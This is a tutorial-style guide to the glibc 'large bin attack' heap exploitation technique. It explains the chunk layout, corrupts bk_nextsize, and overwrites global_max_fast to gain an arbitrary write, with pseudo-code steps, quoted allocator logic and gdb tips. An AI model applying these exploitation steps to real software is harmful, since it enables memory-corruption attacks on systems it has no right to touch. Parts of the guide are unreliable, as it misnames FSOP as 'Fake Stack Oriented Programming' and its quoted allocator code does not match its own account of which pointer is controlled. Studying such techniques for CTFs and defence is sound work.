Large Bin Attack Exploitation
A heap exploitation technique that leverages glibc's large bin management to achieve arbitrary address overwrites.
When to Use This Attack
This attack is applicable when:
- You have a heap overflow or use-after-free that can corrupt chunk metadata
- The target glibc version is 2.35 or similar (check for
bk_nextsizevulnerability) - You need to overwrite an arbitrary address (commonly
global_max_fast) - You can control large chunk allocations (typically > 0x400 bytes)
Core Vulnerability
In glibc 2.35+, the P->bk_nextsize pointer is not properly validated when inserting chunks into large bins. This allows an attacker to control where a chunk's address gets written during bin insertion.
Required Conditions
- Allocate a large chunk (Chunk1) - this will be your "victim" chunk
- Allocate a second large chunk (Chunk2) - smaller than Chunk1 but in the same bin index
- Optional: Create a chunk to prevent merging with top chunk
- Free Chunk1 - it goes to the large bin
- Allocate a new chunk larger than Chunk1 - Chunk1 stays in the bin
- Free Chunk2 - prepare for the attack
- Corrupt Chunk1's
bk_nextsizeto point to[target_address - 0x20] - Allocate a chunk larger than Chunk2 - Chunk2 gets inserted, overwriting
target_addresswith Chunk2's address
The Exploitation Mechanism
When glibc inserts a smaller chunk into a large bin, it executes this logic:
if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk)) {
fwd = bck; // fwd = Chunk1
bck = bck->bk; // bck = Chunk1->bk
victim->fd_nextsize = fwd->fd; // Chunk2->fd_nextsize = Chunk1->fd
victim->bk_nextsize = fwd->fd->bk_nextsize; // Chunk2->bk_nextsize = Chunk1->fd->bk_nextsize
// THE VULNERABILITY: This line overwrites arbitrary memory
fwd->fd->bk_nextsize->fd_nextsize = victim; // Chunk1->fd->bk_nextsize->fd_nextsize = Chunk2
}
The key insight: Chunk1->fd->bk_nextsize->fd_nextsize = Chunk2 means if you control Chunk1->bk_nextsize, you control where Chunk2's address gets written.
Common Use Case: Overwriting global_max_fast
The most common application is overwriting global_max_fast to enable fast bin attacks with larger chunks:
- Calculate the address of
global_max_fastin libc - Set
Chunk1->bk_nextsize = &global_max_fast - 0x20 - When Chunk2 is inserted,
global_max_fastgets overwritten with Chunk2's address - Now you can use fast bin attacks with chunks up to the new size
Step-by-Step Exploitation Guide
Step 1: Identify the Target Address
# Find global_max_fast address in libc
libc_base = <libc_base_address>
global_max_fast = libc_base + libc.symbols['global_max_fast']
Step 2: Set Up Chunk Layout
# Allocate chunks to create the required layout
chunk1 = malloc(0x410) # Large chunk 1
chunk2 = malloc(0x400) # Large chunk 2 (smaller than chunk1)
chunk3 = malloc(0x100) # Prevent top chunk merge
# Free and reallocate to get chunk1 in large bin
free(chunk1)
chunk4 = malloc(0x420) # Larger than chunk1, keeps chunk1 in bin
# Free chunk2 for the attack
free(chunk2)
Step 3: Corrupt the Metadata
# Use your overflow/UAF to corrupt chunk1's bk_nextsize
# The target is global_max_fast - 0x20 (to account for fd_nextsize offset)
target = global_max_fast - 0x20
# Write target address to chunk1->bk_nextsize
# This is where your heap overflow or UAF comes in
overflow_data = p64(target)
write_to_chunk1_metadata(overflow_data)
Step 4: Trigger the Overwrite
# Allocate a chunk larger than chunk2 to trigger insertion
chunk5 = malloc(0x410) # Larger than chunk2 (0x400)
# Now global_max_fast should be overwritten with chunk2's address
Step 5: Verify and Continue
# Verify the overwrite worked
# You should now be able to allocate chunks larger than the original global_max_fast
# and use fast bin attacks
Alternative Scenarios
The core principle: Add a smaller chunk to a large bin that needs to be inserted before a chunk you can corrupt.
- The chunk you corrupt (X) must have its
bk_nextsizecontrollable - The chunk being inserted (smaller) will have its address written to
X->bk_nextsize->fd_nextsize - This gives you an arbitrary write primitive:
write(X->bk_nextsize->fd_nextsize, smaller_chunk_address)
Practical Considerations
ASLR Bypass
- You'll need to leak an address to calculate libc base
- Common leaks: heap chunk addresses, GOT entries
glibc Version
- This attack works on glibc 2.35+
- Check the target's glibc version before attempting
- Older versions may have different large bin structures
Chunk Size Requirements
- Large bins typically start at 0x400 bytes
- Ensure your chunks are in the same bin index
- The "smaller" chunk must be smaller than the "victim" chunk
Debugging Tips
Use gdb with heap debugging:
gdb -q ./binary (gdb) set pagination off (gdb) call (void*)malloc(0x410) (gdb) info proc mappingsCheck chunk metadata:
(gdb) x/10gx $chunk_address - 0x10Verify the overwrite:
(gdb) x/gx &global_max_fast
References
Related Techniques
- Fast bin attacks (often used after global_max_fast overwrite)
- Unsorted bin attacks
- Tcache poisoning
- House of Force
- FSOP (Fake Stack Oriented Programming) - sometimes needed to complete exploitation